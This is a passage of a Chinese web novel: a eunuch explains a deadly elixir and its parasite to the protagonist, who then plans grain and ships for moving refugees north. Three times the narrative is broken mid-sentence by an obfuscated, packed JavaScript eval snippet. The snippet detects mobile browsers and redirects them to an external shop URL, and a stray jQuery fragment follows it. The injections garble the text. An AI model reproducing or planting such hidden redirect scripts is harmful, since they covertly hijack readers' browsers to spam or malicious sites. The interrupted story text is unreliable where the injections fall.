“你说话总爱这样吗?”高承翊道,“答一些皮毛,最关键的留着不答,还要套些自己想问的。既是给太上皇万寿节炼制的丹药,又怎会在三十多年之后被塞到我的口中?” 温寻墨笑着点了点头:“太监说话都这样儿,亏吃多了,谨慎一些,虽只剩了没人稀罕的半条命,可自个儿也得好好保着才行啊。” 高承翊道:“龙精虎猛,力大无穷,和天桥底下卖大力丸的一个话术?” “嗯嗯。”温寻墨假意思索着点头,“可方术不都是这回事儿嘛。有人信有人不信,古往今来的帝王将相都对此趋之若鹜。想来那药丸吃进肚子里,还是有些用处的吧?” 这太监口舌上一点亏都不吃,一定得让他先说清楚。 高承翊只好道:“起初是头疼,接着全身的骨头,甚至是骨头缝儿里都透出来的疼。身上一会儿冷,一会儿热,脑袋像要炸开一样。有时还会分不清梦魇和现实。但熬过去后…确实…会觉得身体轻便。” 他带人去城门口打的那一仗,还有山庄的那一仗,都是在药效发作之后。 不仅身体轻便许多,眼睛也似乎看得更清楚,对方的动作,在他看来,都慢了半拍。 头脑思维也更活跃,甚至听力都有所提高。 温寻墨继续道:“清心延寿丸制成后,皇上找人试药,可吃下药的人,无一例外全死了。” 高承翊听着,额上都沁出汗了。 温寻墨意带玩味的瞧他:“啧啧啧,这不巧了嘛,效果和名字全部相反,既不清心,也不延寿啊…哈哈哈哈哈哈。” 太监笑够了,装作才看到高承翊面色不善,一手兰花指掩了掩唇角:“失礼失礼。” 若非衡儿说他本心不坏,高承翊真不愿和这人交谈,也不想和他有任何瓜葛。 市侩精明,又冷漠心狠,大约就是温寻墨这样的人吧。 “于是太子也就是如今的皇上,勃然大怒,要杀了那个方士。”温寻墨道,“那方士下跪求情,求太子再给他一次机会。于是,便有了你服的那颗「升仙丹」呐。” “升仙丹?” 温寻墨点头:“皇上听了这药名,认为是那方士有意嘲讽,赐了三尺白绫。可怜呐,白布嵌进了脖子里,染的透透红。只有一个小徒弟给他送终。” 温寻墨在马背上晃悠:“这升仙丹做了五丸,拿了两丸去试药。吃下去的人死了一个,活着一个。活着的和你一样,昏死了大半日,再醒过来时,那可真是「龙精虎猛,力大无穷啊!」” 他把最后那句,咬字咬得特别重,语气也十分夸张。但不是很大声,高承翊总觉得能听出点不屑的意味。 “后来呢?”高承翊问,“那人如何了?” “起初是疯了。”温寻墨道,“五六年吧,药物发作越来越频繁,疼得他死去活来,疯疯癫癫的。一次发作时,非说手臂的骨头里有虫子,还说那虫子要往他脑仁儿里钻,就自己拿刀把手给砍了。他那刀子不锋利,砍下去只伤着肉,砍不断骨头,他便也是发了狠,拿刀子的手用了死力气,活生生的把骨头给锯断了。可锯断了骨头连着筋呢,他便用脚踩着断手,把筋拔了,才彻底砍下了那只「有虫子」的手……” 他说的如此细致,就如同他全程看着的一般。 高承翊勒马停下了。 温寻墨的马快一些,已经走到了前头,便只好调转马头,围着他打圈儿:“大公子,怎么了?” “你说怎么了?”高承翊道,“若我今后,也是如此下场,我何须来当这个劳什子游击将军?不如与衡儿说清楚,再早些自我了断,少受些罪。” 温寻墨阴阳怪气的叹了口气:“哎呀~”又故作自责的说,“都是咱家不好,吓着您了。” 温寻墨虽然在外会特地去学其他太监的做派,但他打心眼儿里,是把自己与太监群体们隔开的。 说白了就是心里压根儿不承认自己是个太监。那些太监里大多数人,都十分偏执,且势利轻浮。毕竟少了那二两肉,一辈子抬不起头了,不如唯利是图,忘却什么礼义廉耻,信念道德,铆足了劲儿向上爬,当个好奴才,得了主子抬举,能活的舒坦些才是正事儿。 末了,再多捞些银子,多收些干儿子,好给自己养老送终。 温寻墨是不赞同这种思想的,即使他一生被打压,浑浑噩噩永远无法再将温氏的技艺传承下去,他仍旧不认同。 他打小见着工匠们精益求精,他见过炼钢的大炉子,感受过那火焰的温度,也见过微末如甲盖般的铜件,小小的一个,却能在巨轮的运转中,起着举足轻重的作用。 他觉得人与船的零件一样,都必须各司其职。 种地的,就要去钻研怎样将粮食种的更好。 当官的,就该去想怎样让百姓过得更好。 当皇帝的,自是要为子民考虑,以江山社稷为重,以海晏河清,国民安居乐业为己任。 只不过,他如今所见的,都与他所想的恰好相反。 当皇帝的,只为自己的权力与享乐。 当官的,相互勾结,结党营私。 抚州沦陷,百姓无地可种。 船上的铜件,还有人知道怎么做吗? 他笑清心延寿丸起了反效果,也笑他所见的世道本末倒置。 他本不想吓唬高承翊的,可突然想起了家里的那个总说‘我哥如何如何’的小孩儿。 让他突然真的像个太监一样,偏执了起来。 瞧,你哥被我唬住了,我比你哥厉害。 这样你可以更依赖我胜过你哥哥一些吗? 他因家中有个孩子,才有了下值想快些回家的想法。 虽然花娘会给孩子做饭,老夫人也会来给孩子送吃的,但不知是什么心理作祟,让温寻墨就是想比过她们。 孩子喜欢吃他买回来的东西,他就高兴。 孩子更喜欢吃他做的东西,他就更高兴。 每日家去,孩子都在家里,那屋子才算作是个‘家’。 他千疮百孔的心,似乎被孩子软乎的小手托住了。 真神奇,也就短短一个月的相处而已。分别那天,他肯定会想高濯衡的。 很多太监都喜欢养猫,大约就是如此吧。 他其实也可以去养一个孩子,三条腿的蛤蟆难找,两条腿没爹没娘没人要的孩子,还是很多的。 可他的生杀大权握在皇帝手上,过了今日,不晓还有没有明日的,真养出感情了,对那孩子也不是好事。 况且…再去哪儿找高濯衡这样,又倔又好哭,敢骂他,还敢跟他对打的小孩儿呢? 这孩子还不记仇,今儿气着了,哄一哄,当天晚上就能好。 高承翊看他这样,更是窝火:“你如此拐弯抹角存心戏弄,我现在就立刻转头进宫,找皇上问清楚。反正都是要死,当个明白鬼也好!” 温寻墨打马在后边追他:“哎哟哎哟,我说话你也得停下呀!跑那么快,我可追不上你啊!” 高承翊逐渐慢下来,改成了走马。 温寻墨便继续道:“试药的人死状凄惨,可锦衣卫真的在断肢里,找到了一条红色像血管一样的虫子。皇上觉得那方士是逆贼派来杀他的,就把那小徒弟也抓来审问,提刑司审不出的东西,还有锦衣卫,锦衣卫审不出的东西,还有东厂。小徒弟被折磨的半死不活,原本方士待过的地方,也都被翻了个底朝天,案子自然查得明明白白。” 高承翊被他说的浑身刺挠,感觉真有虫子在钻。 “原来,那方士曾在西南游历数年,得了一种蛊虫,名为「神仙血」”温寻墨道,“效用十分神奇。可另断肢再生,鹤发变白,增寿延年。方士告诉小徒弟,那部落中,唯一会炼制此蛊的神巫,靠着神仙血,活了三百多年,鹤发童颜,至今还在世。” “帝王求仙问道,也是求长生。于是他立马派人,去西南寻找。只可惜他把那方士杀早了,到如今,什么都没找到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287616|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。那小徒弟是方士从西南回来后收的,也不知那部落怎么走。或许那地方早就迁走了吧,隐世者是最难寻的。至于升仙丹的药方,与清心延寿丸的一样,只是多了那一味「神仙血」。” “既如此神奇,千辛万苦求来的东西,方士为何不自己服用?”高承翊问。 温寻墨笑了:“你是高官之子,自小衣食无忧,长在富贵温柔乡,不知荣华富贵是多少人穷极一生的追求。那方士若也和你一样,就不必去西南深山,以身犯险,寻药求蛊了。” 他想用这东西,换取一世荣华。 只可惜学艺不精,又遇上了光盛帝如此多疑,又轻视他人生命的皇帝。害了他自己,也害了小徒弟。 却又阴差阳错,让这枚「升仙丸」,具备了特别的效用。 高承翊道:“那死人手臂里不是有一条虫子吗?” 温寻墨道:“咱们这万岁爷,是一等一的聪明人,他当然想到了,不仅是手臂中的那一只,尸体都掘出来,切碎了找,不过也只有手臂上那一只而已。他相信那东西就是「神仙血」,便着人依方制药。制完了,就得找东西试,猪、狗、鹿、鸡、鸭、老鼠,全死了。他仍不死心,还用了人,当然,也死了。「神仙血」可不是那么好得的。” 高承翊道:“制出来一样的药丸,有何用处?吃了会疯啊。” 蛊虫寄宿在了人身上,蚕食着健康的身体,和清醒的意志。 温寻墨道:“那是因为有解方,且这药,不会用在皇上自己身上。” “解方?” 温寻墨点头:“没错,还记得我之前所说,五颗药丸吗?也不知是一只神仙血可以像蚯蚓一般分成五份,还是这方士,真有五只那样的蛊虫。起初的两丸,试药者一死一疯。还剩三丸,又取一丸,以试解药。这回的试药者,是余忠,就是万岁爷身边的那个大太监,是自小陪着皇帝长大的,他的心腹。你瞧,他现在不是还活的好好的?吞了一颗药,活下来,成了司礼监掌印。” “依你之意,让我吞下此药,从一开始就是皇上的意思?”高承翊问。 温寻墨却摇头了:“这不一定,此药丸问世至今,已有近四十年,是否还有效用,谁也不知。为了找神仙血,废了不少人和银子,四十年,让当年确信的事,都成了虚无缥缈。大约是放着也是放着,不如给你吃了,死了就算了,活着,还能抓着你的命,好好利用利用。” 高承翊不寒而栗,也为父亲感到惋惜,他效忠的君父,是如此凉薄之人。 “他手上,还有一枚?”高承翊,“那衡儿会不会…” “没了。”温寻墨道,“你的是最后一颗,之前那颗,在迎娶涸东王之女为后时,赐给了涸东王。涸东每年进京交赋税时,会顺带拿走缓解蛊毒的药。 女儿和自己的性命,都握在皇帝手上,才能不被皇帝猜忌,外孙才能被封为太子。 温寻墨说完,将腰中所佩锦囊交给高承翊:“提醒你一句,能忍着就尽量别吃。吃多了,一两粒可就不管用了,依赖上,会伤身体。” 高承翊这才明白,当时温寻墨说「再好的身体也经不住这丸药」是什么意思。 这边话说完了,事情也还要去干。 高承翊在做完所有准备后,并没有即刻出发,他和士兵们都需要休息,尤其是他,以应对往后的长途跋涉。 他睡到了下午,才整队出发。 恰好在出城后,被打马追来的孟光赶上了。 这位曾与舅舅赵谨共事,后又调任抚州知府,为夏辛的母亲夏娘断过案子的孟大人,自得知皇上要派高承翊去两江招安后,就上了奏疏,请命要与高承翊一同前去。 因是急令,他唯恐奏疏太迟,还亲身跪去了宫门前。 他才进京不久,就在三个月前,他还是抚州的知府。他心系着抚州城,还为高琰的死痛哭了一整夜。 光盛帝知道他的情况,这人四十出头,没有子女,迂腐顽固,去哪当官都被排挤。 这才调任户部,就得罪了不少人,甚至连堂官都不待见他。 光盛帝也有意要给高承翊安排人帮忙的,招安后,带着十几万人迁去隆州,绝不是一件简单的事。 这些人在路上,饿死的病死的,等到了隆州,若还能剩下四五万,就已经算多的了。 如今是盛夏,安他们的脚程,到隆州大约已是明年一、二月的事了。 关外的天气,再冻死一半,也正常。 这苦差事,光盛帝正愁找不着人去,孟光要去,那就让他去吧。 55.戍边卫都指挥使 高承翊和孟光是不熟的,不过他见过孟光,也知道有关他孟长瑜的一些事迹,在西北,在笠安的,还有在抚州的,他都知道一些。 舅舅和父亲也都与他说过此人。 舅舅十分看重他,说他刚毅正直,有魄力有见识,还能直言,是官场上难得的有心人。 可也正是因为他的刚毅正直,敢直言,才被同僚们排挤。 崖岸高绝这四字,得死后皇帝评给你,你还活着就按照这四字去做,在官场就是异类了。 于是他总被人按上迂腐顽固四字。 高承翊原先也这么认为过,因为他听闻的很多事,其实都是官场上惯会的小事,偶尔抬一手,睁一只眼闭一只眼,就能糊弄过去,大家都这样。 可到了孟光这里,就必须一板一眼的按章程来,差一点都不行。若对方与他争辩,他既占理又占法,寒穿苦读的进士出身,无论是当面怼回去,还是回去写文章骂回去,至今还没人能骂得过他。 引经据典,骂人不带脏字,顺带还给对方戴上为官不正,知法犯法的帽子,若没个靠山作保,前程都得毁在他手里。 也有聪明人,先认倒霉,按下不发,等他犯错,等他求你来办事之时,你也可揪着不放,坑他一把。 只可惜,咱们这位孟大人,不仅对别人严格,对自己更称得上是严厉。 他简直就是一个维护官场道德和律法的苦行僧,吹毛求疵到了极致,事可以办不了,但绝不能走歪路。 可你若要在朝堂上找人问为官之道,他们所有人的真心话,都是‘和光同尘’四字。 孟光从不屑于和光同尘。 他坚定的走着,二十来年未曾变过,也不曾后悔。 高承翊是在听夏辛说起他阿娘的事后,对孟光改变的看法。 迂腐的老儒,是不会在乎一个妓女的死活的。 他们自拿起书本,就根深蒂固的认为「万般皆下品,唯有读书高」,认为女子该三从四德,在家从父,嫁人从夫,夫死从子。 妓女是最下等的人,真正迂腐的读书人,是听到都要退避三舍,嫌脏的。 可孟光不仅帮她办案,还亲自带着礼品拜访,还会收下夏娘做的衣裳,当做回礼。 足以证明,此人绝不是迂腐顽固的。 高承翊勒马停下,孟光布衣草鞋骑着一匹寻常的棕马,追赶上了他。 马背上还拴着他的包袱,里头是寥寥几件换洗衣物、雨伞,还有公文及印章。 “孟大人?可是皇上有什么吩咐?”高承翊没有下马。 因为他并不认为孟光是皇帝指派。孟光没有穿官服,且是只身前来,高承翊这样问,只是出于礼貌。 孟光放慢速度,走马到了他身边,高承翊这几月连番受挫,加之牢狱之灾,已经瘦了很多,这孟光一没坐牢,二没受刑,居然比高承翊还要瘦上一大圈,几乎可说是皮包骨头了。 他额上全是汗,背上的衣料也沁湿了一大片的汗渍:“对,皇上让我与你同去。” 他没说「命」,说的是「让」。当时的高承翊并未察觉,事后知道他是自请相陪的,对孟光的崇敬,更胜三分。 高承翊道:“您也一起?” 孟光笑了笑:“怎么,看不起我?我是瘦了点,可身子骨还是硬朗的。” 高承翊也颔首与他对视:“一路上走得急啊。” 孟光道:“再急我也得跟上啊,我是抚州的知府,是他们的父母官。如今百姓身在水深火热中,我又如何能安枕?” 高承翊话意是他们这队青壮士兵,不好带着孟光一个年过四十的文人同行,本就是十万火急的军情,带着他还要迁就他的身体情况。 孟光也知道,便解释道:“你一人过去,担子太重。他们认你父亲,可不一定会认你。我在抚州多年,你一个,再加上我一个,怎样也能说上些话的。” 这是事实。 孟光道:“你路上,也可不必那么着急,按我的意思,咱们绕上一段,去冀州。我与你一同,去拜见你的曾外祖。” 高承翊不解:“为何?” “赵家在冀州是大户,有田产山庄,宗族中必定有不少经商之人。你曾祖官至内阁次辅一品荣休,是族中翘楚,必定威望极高。”孟光道。 可这与我们要去拜访他有什么关系? 看着眼前年轻人一脸疑惑,孟光心中也不免觉得他单纯。 “你入世太浅,不懂也是正常。你父亲是少有的精明人,却生了你这样实心眼儿的儿子,哈哈哈。”孟光不善伪装,向来是有什么说什么,“都说外甥像舅舅,这话是不错的,你这性子和赵肃清真像!” 肃清是赵谨的字。 他打马往前:“咱们走着,我与你说。” 要去冀州,高承翊此前定的路线就要改一些。 孟光也不客气,直接骑马走到队伍最前头带路。 “孟大人,请如实相告。”高承翊跟在他身旁,骑行的速度并不快。 孟光道:“我问你,你知道两江去隆州的路,有多少里吗?” 高承翊在地图上算过了:“按我定的路线,将近九千八百多里,到时真的走了,必定还有偏差,应是在一万三千里以内。” “嗯,你还不算笨。”孟光道,“一万一千里路,你带着上万人去走,一天走六七十里,都要走六七个月。如今是盛夏,若招安的事,一个月内能完备,朝廷会立刻催咱们动身。因为多留一天,这几万人就要吃一天的粮。” 高承翊仔细听着。 孟光笑了声:“你该不会认为,他们会把一路所需的粮草装好车,送咱们走吧?” 高承翊懵了。 他没想过这个,他带兵知道粮草先行,他真的天真的以为,光盛帝会帮他解决粮食的问题,且已经先他一步安排好了。 孟光看着高承翊呆愣的样子,在马背上,笑的直摇头。 “可…他就这样看着这么多人饿死?一点儿粮都不给?”高承翊问,“我以为他是真心想分地给百姓…” 孟光道:“当然是真心了,这就叫上头一句话,下头自己想办法。” 办好了,既是能力和政绩。 办不好,那就是无为官之资,这辈子就这样吧。 高承翊心道:原还说这孟大人迂腐,想来把书读迂腐了的,是我自己。 他算计了颇多,如今一问粮草如何,才知自己那么多的算计,全是纸上谈兵。 高承翊在马上还不忘抱拳作揖:“多谢大人提醒!” 孟光问:“那你自己有何打算?” 高承翊道:“族中必定会倾囊相助,但也不够这么多人吃,我想…还是要去笠安,找舅舅借粮。” 笠安在赵谨的治理下,交够每年的赋税后,依旧仓禀丰足,倒是每年会因潮湿而霉变的大量存粮让赵谨头疼。 吃也不能吃,丢了舍不得。本想走海路运出去卖,如今海上却被水寇截断了。 赵谨的为人,即使高承翊不说,他为救人,也一定会借粮。 孟光点头:“可笠安路不好走,原本的官道,经过抚州,抚州沦陷,我们是用不了的。我想肃清肯定也会命人将官道炸断,再用重兵把守,那条路如今谁都用不了。” “再者海运也是同样,虽可去远海绕行,但哪家的船也不愿担此风险。” “走山路,最近的,则要过通天关,那地方地势险峻,稍宽一点的粮车都过不了。还有一条百米长的栈道,一侧是悬崖,一次能运送粮食的数量有限,若是掉下去人和粮就都没。” 孟光逐一分析着:“当然,山里是有别的小路的,不过都是弯弯绕绕,环山盘山,要走不少远路,蛇虫鼠蚁的,林子又湿,万一迷路,可就走不出来了。” “最安全的路线,是走西南通西北的马道绕行,可那样一来一回,粮车走的路与咱们去隆州也相差无几了,这一路上损耗巨大,路途时间也长,等粮运到了,人也要饿死了。” 高承翊一路思索,在夜里落脚休息时,向孟光说出了自己的想法:“若能尽快完成招安,八月底或九月初出发,按我所划路线,至隆州至少需要六个月。关于粮草我想其一:在冀州筹粮,赵家宗室所筹粮草,在六月中,陆续顺利运至迁徙队伍,不是难事,无论是官道还是运河,都安全且快速。不过…以赵氏一族之力,养不活万人六月余,所以这部分粮食,定为「保命粮」,既不到万不得已,绝不能动的粮食。” “其二,笠安借粮,山中小路虽陡峭,但也非是完全不能走,我想舅舅必定熟知路线。待到靖江后,我立刻修书着人走山路送去给舅舅,让他命人将部分粮食自山中小路运至越州。我们大队人马走时,可每人携带上一些粮食,路上也能带粮车同行。” 高承翊说的这两点,也是孟光所想的,他满意的点着头,却说:“还有呢?” 他说的那些是不够的,山路短期运不了太多粮食,他们赶路为主,一次也携带不了六个月要吃的粮食。 还有他们只有预估人数,现如今无法算出到底需要多少粮食,还有路途损耗,运粮的人也得吃粮,再有雨雪天气,冻坏的,霉变的,遗落的都得考虑在内,不能算的太死。 还有一点,这些全是借粮。 以高承翊的自尊和心性,在隆州垦出田,种出粮食,饿不死人后,他必定是要还回去的。 所以不能是一笔烂账,拿了人家多少,损耗,路费,运粮人的报酬,都得记清楚。 要计算好,做几年还完。 孟光继续说着:“再有,人不能没粮吃,可也不能半年多只吃粮,就算没有菜蔬,盐和茶也都是必要的。没有茶人要生病,没有盐,会没力气。没力气还生病,还怎么跟你走去隆州呢。” 他两手空空,所有的东西都要靠母族和舅舅。 孟光道:“这样,粮食先尽力募着,但不能让朝廷全数知悉,以免他们一粒粮不出,一两银不给。我在户部、吏部、都察院都有相熟的同僚,我与他们联名上疏,请皇上拨粮。” 高承翊道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295794|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那…我也让外祖与你们一同。” 孟光:“嗯,人命关天的事,能要来多少是多少吧。” “待咱们启程后,所需的粮食,也只能让舅舅往西北走官道绕行运输,到西北后,一半运去隆州,一半走运河南下,到冀州后,与冀州的粮食一起,分批次运送。至于一次具体要运多少,还需到时细算。路程虽远,可也只能如此。”粮要走运河,高承翊想到了唐若。 她若愿意帮忙,北上时还能帮着运些人。 “至于盐和茶,能借就借,借不到的,只能用银子买。”高承翊道。 这提议是可行的,但也有青黄不接,旧粮吃完,新粮未到的风险。 “一半留在隆州,你是在为落脚后考虑?”孟光道,“可那么多的粮,具体放在哪儿?隆州虽大,你有认识的人吗?” “孟大人有相熟靠得住的人吗?听闻你曾在西北任职过几年。”高承翊道。 孟光道:“西北七个州,地势和形式都十分复杂,边疆连接草原大漠,隆州、北茂、巨堯三地,与外族接壤处,每年冲突不断。津川、广富、平庆、绵州四地,虽属内陆,也因旱灾频发,百姓争夺耕地,有山匪、马贼作乱。” 作乱都是轻的,有些甚至可称割据。 “嗯,这些我也有耳闻。” 孟光道:“去了你才会知道,是官匪相通,丰年种地,荒年当匪,都是为了活命。隆州原是最乱的,除了内部匪患,在外还有敌乱。隆州地域广阔,挨着边界线,几乎成条状,横跨西北,与涸东相接,这样的地方,难免有汉族与外族混居之地,自然就有婚生,或抢夺妇女,生出的杂胡。总之,人、政都很乱。” “军呢?”高承翊问。 “外称隆州守军,或守备军。但西北人,还是习惯称其戍边卫。” “所以军中官职,还是以卫所官职称呼吗?”他记得那人是隆州守备军都指挥使。 孟光道:“都有,挺杂的,本来就是把地方的卫和营,合在了一起。总将称都指挥使,副下为指挥同知。边防各营,还留有参将、都司、游击等值,此下为千、百、总,最末一等小旗,一队为二十人左右。” 高承翊问:“那您…知道沈驰吗?” “这是个能人,据说隆州因为他,军中与此前大有不同,攻守战役,工事修筑,都做的很好。就连军屯也垦出比原先多了两倍的地方,皇上十分器重他。”孟光道,“且西北这种重武之地,与胜京和两江不同,文不如武,他在西北,可是说一不二的厉害。故而,官场也都规矩了不少。” 孟光思索了片刻:“只不过我在西北之时,他还是戍边卫的一个千户,或许遥遥见过吧…你问他做什么?” 高承翊:“我…想给他写封信,请他帮咱们看着粮食,您觉得…” “胡闹。”孟光拍了一下高承翊的脑子,“他转头给你捅皇上那,粮食全拿去喂他的兵了。” 高承翊犹豫着:“他…这么坏吗?” 孟光恨铁不成钢:“刚想说你聪明,说什么孩子话!” 高承翊私心里还是想写封信去,这对沈驰来说只是举手之劳,他虽然不愿意去面对那个人,可为了几万人的活路,他是想去求一求沈驰的。 求他…看在母亲的面子上…… “不行吗…”高承翊道,“他…是家母的…旧友。” “哦…你母亲闺中时,住在胜京对吧?是两家住得近吗?不会吧?赵家可是高门。”孟光道,“这…算起来,你母亲应比沈驰年长不少,幼时相识,多年不见,人长大可是会变的。能当上西北戍边卫都指挥使的人,绝非单纯之人啊。” 高承翊若有所思的微微点头,算是回应孟光的话。 孟光道:“这样吧,我也想办法修书给西北的同僚试试看,那个和你母亲半生不熟的沈驰,还是算了吧。” 高承翊也不知该怎么解释,但他俩…大约是很熟了… 不过… 男人是会变心的,谁知道他靠的靠不住。 还是算了吧… 想到这,却听营地外有跑马声,是站岗的士兵来通报,说是有人骑马朝这边来。 马是西北种,黑色,很高大。 人在夜里看不清,但身前还坐着个男孩子。 高承翊警惕的站起来要出去查看,孟光也跟着。 高承翊拦住他:“大人留下,若有动静,上马先跑。” 孟光摆手:“这里是京郊,不是荒原,天子脚下,没有盗匪。你这是警惕惯了,过了头。就算是荒原,也没人会来抢咱们,盗匪们最是精明,听到你们这么多马蹄响,早躲起来了。” 士兵道:“看那样子,是跟着我们的马蹄印子来的。” 高承翊走出他们搭的临时营地,果就见立马在前的人。 “白日才分别,夜里就不认识我了?”温寻墨半男不女的声音响起。 高濯衡的小脑袋,也从马后探出:“哥!” “衡儿!” 孩子跳下马,扑抱住他。 56.我需要船 高承翊搂住弟弟,便听温寻墨道:“他吵着要来和你道别,还非让我把马还你,在家撒泼打滚,还揍了我两拳。” 高濯衡回头瞪他。 温寻墨比划了个拳头,孩子便往他哥怀里钻得更用力。 毛茸茸的脑袋,钻得高承翊直笑,但不忘在温寻墨面前护犊子:“你别吓唬他!” 温寻墨下马站定后,拍了拍马背,抱胸看着他们兄弟二人:“天地良心,都是他欺负我!真是上辈子欠了你们兄弟俩!” 这是众人都能听出的调侃。他的常服是丝绸料子,有竹纹刺绣,即使是夜里,都能看出丝线的光亮。 戴冠佩玉,是从发丝到指甲盖,都无比精致的温寻墨。 与这样一群兵和瘦骨嶙峋的孟光,格格不入。 高濯衡也被他照顾的很好,干干净净,身上的衣料能闻出是熏了香的,衡儿本来就漂亮,稍一整理,更添贵气。 这样一比,此前在越州,弟弟待在他身边时就像个小要饭的。 就连皂雪,都给配了一身华丽的马具。站那高承翊都有些不认识了。 高承翊心里挺不是滋味的,越看弟弟的小脸,越是自责。 有些不情愿,却出自真心的跟温寻墨说了声:“多谢。” 高濯衡问:“哥天亮再走吗?” 高承翊道:“卯时正就走,需提早半个时辰拔营。” 那很早了。 高濯衡道:“我想留下陪你,就今天一晚上。” 高承翊看向温寻墨。 温寻墨颔首一笑:“答应他吧,好不容易才赶上来的。” 高承翊心疼的看着弟弟:“这儿可没有床。” 孩子撒娇道:“哥抱着我睡。” 高承翊半靠着树桩,高濯衡趴抱在他身上,脑袋枕在他的肩膀上。 耳畔是他浅浅的呼吸声,薄衫透着体温和几乎同频的心跳。 温寻墨席地坐在一旁:“特地将我也叫来此处,不是要观摩你俩睡觉,是还有话要问吧?” “嗯。”高承翊道,“是有关抚州灾民北迁的粮食。” “你总算想起这个了,是孟光提醒你的?” 高承翊点头,随即说出了自己问笠安借粮,自官道北上,绕行走运河南下的计划。 “我需要船。”高承翊道,“如今能想到的,只有斛州的唐家。但这么多粮食,多次运送,费用必定不低。” “你不是和唐若相熟吗?”温寻墨道。 “不算很熟,那么多银子,可能都得先欠着,我不好开口。”高承翊道,“你…有门路能弄到船吗?或者和唐家商量,先欠着钱。” 温家以前有许多船,但那是以前了。 “怎么,你和我就很熟了?”温寻墨道。 孩子歪头横了他一眼。 温寻墨快速出手敲了高濯衡一个板栗:“凭什么啊?” 高承翊不好还手,只能抱着弟弟的头躲开些,以免温寻墨又出快手。 还不就等高承翊说话,高濯衡倒是先开口了:“你家还有那么些人,都住在我哥的庄子里呢!” 这话听的高承翊心里喜滋滋的,我二宝就是聪明! 温寻墨佯装生气,不屑道:“你俩一个比一个精,连太监都要算计!” 温寻墨是不爱别人说他是太监的,倒是他自己总这样自嘲。 高承翊不接这话,等温寻墨的下一句。 温寻墨想了想说:“那…我写信你带给阿远,我让阿远去唐家问问。” 高承翊记起了那个少年:“那个小孩儿?” 温寻墨道:“你别小看他,他可是如今的当家人。” 高承翊道:“那银子的事,也让他问问吧,我肯定会还的!” 高濯衡伸出只手,拉着温寻墨的手指头,晃了晃,又把手指挤进了他的手心里。孩子为了他哥哥,可真会撒娇求人。 两双祈求的大眼睛,同时望着他。 温寻墨叹了声:“我…让阿远试试看。” “他能行吗?”高承翊道,“你们真的相熟?” 温寻墨道:“唐竟曾托人找过我数次,想要买一艘船。” “你要卖给他?” 温寻墨道:“不然怎么说服他不收钱帮你运粮?” 高承翊诧异于温寻墨的鼎力相助,他只说先欠钱,温寻墨却能让唐家直接不收钱,这真是个巨大的人情,也可见温家一艘船的价格,十分昂贵。 高承翊:“多谢你!” 温寻墨道:“不全是为了帮你,我也不愿看到那么多人饿死,再者原本也一直想把船卖给唐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304209|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家的,只是一直在找时机。” 高承翊不解:“温家还有船藏在岛上吗?” 温寻墨道:“不多,但要卖的船并非真的船,而是帮唐家,重造一艘船。” 这是要将技艺,教授给唐家工匠的意思,这对唐家而言,比单买一艘船,划算多了。学来的可就是自己的了。 “可以这么做吗?”连高濯衡都问了,这难道不是秘不外传的东西吗? 温寻墨道:“阿远一直想亲手造一艘船,可岛上的材料不足,造一艘船花费巨大,对他们来说也没多大用处。家中技艺一直捂着会失传,我的想法是,能传扬出去,与别家工匠共同探讨,才能精进。再说了,阿远带人去帮唐家造船,唐家就要负责造船所需的材料,和工匠们的花销。还能顺带帮你们解决运粮之事,阿远又能得到历练,没准还能和唐家建立往来,都是好事情。” “太好了,真的是帮了大忙!”高承翊提醒道,“就是一定得隐秘些,皇上已经知道我在抚州救了些人,但没提山庄之事。” 温寻墨略微思索后道:“嗯,你救人时的确人多眼杂,但山庄之事,只有我知道。” 高承翊问:“你手下的人呢,有可能说出去吗?” 温寻墨道:“他们的命和财路,都捏在我的手里,是不敢的。” 他说的很轻巧,却能让高家两兄弟感受到权宦的狠厉。 “放心吧,你能不问朝廷要钱要粮,就解决了几万灾民的北迁,皇上高兴都来不及。”温寻墨道,“如若放任那些人自生自灭,引起百官和百姓不满,对他来说才伤脑筋呢。” 高承翊如实道:“也还是要装作什么都没有,问朝廷要一些的。” “哈哈,这是自然。”温寻墨又问:“你确定借来的粮能够吗?万一运送稍迟呢?” “我回去后,要去山庄看看宋遥、孔详他们还在不在。”高承翊道,“我那边有近一千的兵。这边跟着我的,还有三百骑兵。” “你要带着他们北迁?”温寻墨道,“把灾民们养活都吃力了,怎么养兵?那一千兵当初跟着你,也是为了吃饱饭。如今占着越州那片山庄,会同意与你一同去隆州吗?还有这三百骑兵,到时候你是要还回去的,就算皇上准你不还,这些人的家在京中,肯定是要闹着回家,不会跟你去关外的。” 57.爱当然不易 高承翊的声音很小,是跟温寻墨说,也是在和他自己说:“那一千人我是一定要带上的,至于这些人,如若不愿,人可以走,但马必须留下来。” 